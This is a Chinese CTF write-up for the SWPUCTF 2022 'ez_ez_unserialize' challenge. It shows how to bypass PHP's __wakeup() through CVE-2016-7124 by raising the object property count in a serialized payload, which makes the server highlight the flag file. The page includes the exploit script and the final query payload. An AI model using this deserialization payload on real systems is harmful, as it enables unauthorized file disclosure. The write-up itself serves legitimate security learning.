当前位置:   article > 正文

NSS [SWPUCTF 2022 新生赛]ez_ez_unserialize

NSS [SWPUCTF 2022 新生赛]ez_ez_unserialize

NSS [SWPUCTF 2022 新生赛]ez_ez_unserialize

开题,直接给了题目源码。

image-20231009004021264

简单看了一下,题目告诉我们flag在哪,而且类中有高亮文件方法。怎么拿flag已经很明显了。关键点在于__weakup()魔术方法固定死了我们高亮的文件。所以这题只需要绕过__weakup()

PHP版本是5.5.38

image-20231009004340213

我们可以使用使对象的属性数量不一致凡凡来绕过

CVE-2016-7124

版本:PHP5 < 5.6.25、PHP7 < 7.0.10

版本满足,我们来编写EXP:

<?php
class X{
    public $x ;
    function __construct($x)
    {
        $this->x = $x;
    }
    function __wakeup()
    {
        if($this->x !== __FILE__){
            $this->x = __FILE__;
        }
    }
    function __destruct()
    {
        highlight_file($this->x);
        //flag is in fllllllag.php
    }
}
echo serialize(new X("fllllllag.php"));
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
生成的
O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}
修改为
O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}
  • 1
  • 2
  • 3
  • 4

payload:

?x=O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}
  • 1

image-20231009010704475

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/凡人多烦事01/article/detail/295572
推荐阅读
相关标签
  

闽ICP备14008679号